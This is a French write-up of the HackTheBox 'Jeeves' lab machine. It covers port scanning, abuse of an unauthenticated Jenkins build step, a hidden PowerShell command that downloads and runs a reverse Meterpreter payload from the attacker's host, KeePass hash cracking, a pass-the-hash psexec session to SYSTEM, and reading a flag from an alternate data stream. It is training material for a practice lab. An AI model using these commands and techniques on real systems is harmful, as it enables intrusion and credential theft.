Présentation
Le CTF Jeeves était proposé par HackTheBox.
HackTheBox est un réseau privé virtuel composé de machines vulnérables sous différentes architectures (Windows, Linux, BSD, Solaris).
Chaque machine du réseau correspond à un CTF et il faut récupérer deux flags à savoir le user.txt (que l’on peut lire généralement lors de l’obtention d’un shell avec un utilisateur non privilégié) et le root.txt (une fois que l’on a escaladé ses privilèges pour être root, SYTEM ou l’administrateur local).
J’ai terminé Jeeves il y a quelques moment mais j’attendais que la box soit retirée du réseau avant de poster une solution.
Côté HackTheBox j’ai choisi de me concentrer sur les machines Windows afin d’en apprendre plus sur le pentest Windows et pour changer des habituelles VM Linux de chez VulnHub.
Les machines Windows que j’ai résolu jusqu’à présent sont Jeeves, Chatterbox, Bart, Silo et Rabbit. A l’heure actuelle il me reste Fighter et Dropzone :)
L’avantage de HTB par rapport à d’autres CTF c’est la simplicité de mise en place (pas de téléchargement de VM, pas de configuration, il suffit de lancer openvpn) et aussi une ambiance visuelle proposée par le site et une communauté assez active. Le tout avec un système de points pour se mesurer aux autres participants :)
Parmi les inconvénients je noterais les latences (surtout pour les scans de ports et brute force), l’instabilité de certaines machines et services et des joueurs peu fair-game qui par exemple tuent les process des autres participants (sans avoir rien à y gagner).
Dans l’ensemble et surtout dans mon cas le gros avantage de HTB c’est de fournir des machines Windows ce qu’il est compliqué de faire pour une plateforme comme VulnHub (copyrights, licences, etc).
Ask Jeeves !
On démarre comme d’habitude avec les ports ouverts :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|10 (90%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_10 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 10 1511 - 1607 (85%), FreeBSD 6.2-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-04-12 21:27:04
|_ start_date: 2018-04-12 20:17:59
Il y a un serveur Eclipse Jetty sur le port 50000 qui n’est pas soumis à une vulnérabilité connue d’après cve-details. Une précédente version était vulnérable à un directory traversal tout bête mais après vérification en long, en large et travers la faille ne s’applique effectivement pas à la version du serveur :’(
Le port 80 est une copie du site ask.com de l’époque (maintenant il n’y a plus Jeeves) et tous les liens retournent une image d’erreur en relation avec Java (indice ?)
Il fallait alors faire preuve d’une certaine logique ou être armé d’un dictionnaire bien fournit et lancer un directory-buster sur le port 50000 et ainsi trouver une installation Jenkins non protégée (pas d’authentification) à l’adresse /askjeeves/.
Boss de milieu de jeu
Le module Metasploit auxiliary/scanner/http/jenkins_command permet de faire facilement exécuter des commandes avec les droits du service qui s’avère être l’utilisateur jeeves\kohsuke.
On peut ainsi lister le contenu du dossier Jenkins :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
[+] 10.10.10.63:50000 Directory of C:\Users\Administrator\.jenkins
[+] 10.10.10.63:50000
[+] 10.10.10.63:50000 04/17/2018 09:36 AM <DIR> .
[+] 10.10.10.63:50000 04/17/2018 09:36 AM <DIR> ..
[+] 10.10.10.63:50000 04/17/2018 09:42 AM 48 .owner
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 1,433 config.xml
[+] 10.10.10.63:50000 04/17/2018 09:34 AM 1,400 FJUyqDTmCFV.bat
[+] 10.10.10.63:50000 04/17/2018 08:34 AM 156 hudson.model.UpdateCenter.xml
[+] 10.10.10.63:50000 04/17/2018 08:58 AM 1,178 hudson.plugins.emailext.ExtendedEmailPublisher.xml
[+] 10.10.10.63:50000 11/03/2017 10:43 PM 374 hudson.plugins.git.GitTool.xml
[+] 10.10.10.63:50000 11/03/2017 10:33 PM 1,712 identity.key.enc
[+] 10.10.10.63:50000 04/17/2018 08:40 AM 2,295 jeeves-veil.bat
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 94 jenkins.CLI.xml
[+] 10.10.10.63:50000 04/17/2018 09:28 AM 102,552 jenkins.err.log
[+] 10.10.10.63:50000 11/03/2017 10:47 PM 360,448 jenkins.exe
[+] 10.10.10.63:50000 11/03/2017 10:47 PM 331 jenkins.exe.config
[+] 10.10.10.63:50000 04/17/2018 08:34 AM 4 jenkins.install.InstallUtil.lastExecVersion
[+] 10.10.10.63:50000 11/03/2017 10:45 PM 4 jenkins.install.UpgradeWizard.state
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 138 jenkins.model.DownloadSettings.xml
[+] 10.10.10.63:50000 12/24/2017 03:38 PM 2,688 jenkins.out.log
[+] 10.10.10.63:50000 04/17/2018 08:32 AM 4 jenkins.pid
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 169 jenkins.security.QueueItemAuthenticatorConfiguration.xml
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 162 jenkins.security.UpdateSiteWarningsConfiguration.xml
[+] 10.10.10.63:50000 11/03/2017 10:47 PM 74,271,222 jenkins.war
[+] 10.10.10.63:50000 04/17/2018 08:32 AM 34,147 jenkins.wrapper.log
[+] 10.10.10.63:50000 11/03/2017 10:49 PM 2,881 jenkins.xml
[+] 10.10.10.63:50000 04/17/2018 08:37 AM <DIR> jobs
[+] 10.10.10.63:50000 11/03/2017 10:33 PM <DIR> logs
[+] 10.10.10.63:50000 04/17/2018 08:34 AM 907 nodeMonitors.xml
[+] 10.10.10.63:50000 11/03/2017 10:33 PM <DIR> nodes
[+] 10.10.10.63:50000 11/03/2017 10:44 PM <DIR> plugins
[+] 10.10.10.63:50000 11/03/2017 10:47 PM 129 queue.xml.bak
[+] 10.10.10.63:50000 11/03/2017 10:33 PM 64 secret.key
[+] 10.10.10.63:50000 11/03/2017 10:33 PM 0 secret.key.not-so-secret
[+] 10.10.10.63:50000 04/17/2018 08:41 AM <DIR> secrets
[+] 10.10.10.63:50000 04/17/2018 09:36 AM 8,192 TempRacer.exe
[+] 10.10.10.63:50000 11/08/2017 09:52 AM <DIR> updates
[+] 10.10.10.63:50000 11/03/2017 10:33 PM <DIR> userContent
[+] 10.10.10.63:50000 11/03/2017 10:33 PM <DIR> users
[+] 10.10.10.63:50000 11/03/2017 10:47 PM <DIR> war
[+] 10.10.10.63:50000 11/03/2017 10:43 PM <DIR> workflow-libs
[+] 10.10.10.63:50000 04/17/2018 08:41 AM <DIR> workspace
Pour autant ce module s’est montré récalcitrant à exécuter des commandes plus poussées, ce qui m’a amener à trouver une exécution de commande plus simple.
En tant que développeur je ne connais pas Jenkins mais je connais mieux Gitlab et ses mécanismes d’intégration et tests continus. Aussi je n’ai pas été surpris de trouver une option où l’on peut faire exécuter un script bat en rajoutant une étape de build à un projet.
Il n’y a plus qu’à créer un nouveau projet vide et rajouter les commandes suivantes pour télécharger et exécuter un reverse Meterpreter (j’ai nommé le fichier jre.exe pour plus de discrétion) :
1
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://10.10.15.67:8000/jre.exe', 'C:\Users\Administrator\.jenkins\logs\jre.exe')" & C:\Users\Administrator\.jenkins\logs\jre.exe') &
La particularité de HackTheBox c’est que plusieurs personnes peuvent plancher au même moment sur la machine… Ça peut être amusant d’observer la méthodologie des autres participants mais le revers de la médaille c’est que les scripts des autres participants peuvent spoiler une étape de challenge…
De plus comme une machine peut devenir instable, il est possible de la réinitialiser depuis le site. Certains en abusent pensant à tord qu’un exploit n’a pas fonctionné pour X raisons (mais pour certaines machines il s’avère que c’est souvent une étape nécessaire).
A cause de cela il arrive qu’on ait à répéter les même étapes, comme si on était dans Un jour sans fin :D
Dans le dossier Jenkins précédemment listé on trouve différentes clés (master.key, secret.key, initialAdminPassword, etc) malheureusement il manque le fichier credentials.xml qui aurait pu nous permettre de trouver un password à tester ailleurs.
Lors de mes errances quelqu’un a déposé à un moment un credentials.xml qui a du mettre les autres participants sur une mauvaise piste… sympa :(
Avec notre shell Meterpreter on en en mesure d’accéder au fichier user.txt (le flag de mi-parcours du challenge) qui est dans le bureau de l’utilisateur. En revanche le système Windows semble bien patché, et le module local_exploit_suggester est d’ailleurs peu bavard.
Boss final
Il est temps de fouiller ailleurs et toujours parmi les fichier de kohsuke on trouve un énigmatique fichier avec l’extension kdbx qui s’avère lié au gestionnaire de mots de passes Keepass.
Après avoir téléchargé le fichier via Meterpreter il est temps de trouver quoi en faire… Un simple apt-cache keepass suffira à me mettre sur le chemin de keepass2john qui permet de convertir le hash de la passphrase maîtresse dans un format cassable via John The Ripper.
1
2
3
devloop@kali:~/Documents$ keepass2john CEH.kdbx
CEH:$keepass$*2*6000*222*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b7
3766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
Armé de la wordlist rockyou le mot de passe tombe relativement vite (moonshine1). On peut alors ouvrir l’archive KeePass pour voir les mots de passes stockés.
On remarque surtout la présence d’un hash au format Windows (Lanman/NTML) qu’on s’empresse d’utiliser avec le module psexec de Metasploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
msf exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.10.10.63 yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write fo
lder share
SMBDomain . no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 no The password for the specified username
SMBUser Administrator no The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.15.121 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.10.15.121:4444
[*] 10.10.10.63:445 - Connecting to the server...
[*] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user 'Administrator'...
[*] Sending stage (206403 bytes) to 10.10.10.63
[*] Sleeping before handling stage...
[*] 10.10.10.63:445 - Selecting PowerShell target
[*] 10.10.10.63:445 - Executing the payload...
[+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (10.10.15.121:4444 -> 10.10.10.63:49878) at 2018-04-19 20:00:54 +0200
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Fake news
Avec ces nouveaux privilèges on ne retrouve pas la trace du flag final (root.txt). A la place on remarque un fichier texte :
1
2
meterpreter > cat "c:\Documents and Settings\Administrator\Desktop\hm.txt"
The flag is elsewhere. Look deeper.
Victory
J’ai eu recours à l’utilitaire streams.exe de SysInternals pour fouiller la présence d’ADS sur le système, ce qui nous ramène… sur le même fichier :
1
2
c:\Documents and Settings\Administrator\Desktop\hm.txt:
1621538: :root.txt:$DATA 34
L’accès au stream alternatif est facilité par le support des ADS par Metasploit :
1
2
meterpreter > cat "c:\Documents and Settings\Administrator\Desktop\hm.txt:root.txt:$DATA"
afbc5bd4b615a60648cec41c6ac92530
Published May 24 2018 at 22:37